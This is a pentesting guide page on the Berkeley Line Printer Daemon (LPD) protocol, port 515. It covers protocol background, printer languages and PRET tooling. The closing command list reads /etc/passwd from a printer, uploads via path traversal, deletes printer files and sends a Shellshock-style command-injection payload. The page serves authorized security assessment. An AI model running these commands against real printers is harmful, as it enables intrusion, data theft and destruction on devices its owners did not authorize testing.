515 - Pentesting Line Printer Daemon (LPD)
Introduction to LPD
RFC 1179 documents the Berkeley Line Printer Daemon protocol. It is TCP-based, listens on port 515 by convention, and supports queue inspection, job submission, and job removal. A submitted job contains a control file describing the job and a data file containing the printable content.[1]
The RFC describes the wire protocol, but printer languages and file-handling behavior depend on the server and printer implementation. During an authorized assessment, enumerate queue names and capabilities before sending test jobs; avoid destructive filesystem or command tests against production printers.
An LPD data file may be interpreted as PostScript, PJL, or another printer language. On devices that expose powerful language extensions, a malicious print job can therefore reach functionality beyond ordinary printing; the available filesystem, memory, or command primitives are model- and implementation-specific.[2][3]
LPRng is a well-known Unix-like implementation of the Berkeley printing system. Its suite includes the lpd server and clients such as lpr, lpq, and lprm.[4] A standard lpr client can submit a benign test file when the queue name is known; for example, Windows uses:[5]
lpr -S <host> -P <queue> -o test.txtThe Hacking Printers wiki remains a useful catalog of printer languages, protocols, attack classes, and device-specific research beyond the LPD-focused commands on this page.[6]
PRET LPD tools
PRET includes lpdprint.py for submitting print data and lpdtest.py for testing implementation-specific LPD behavior. The latter exposes potentially destructive operations; use them only where the target and action are explicitly authorized.[2]
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.localShodan
port 515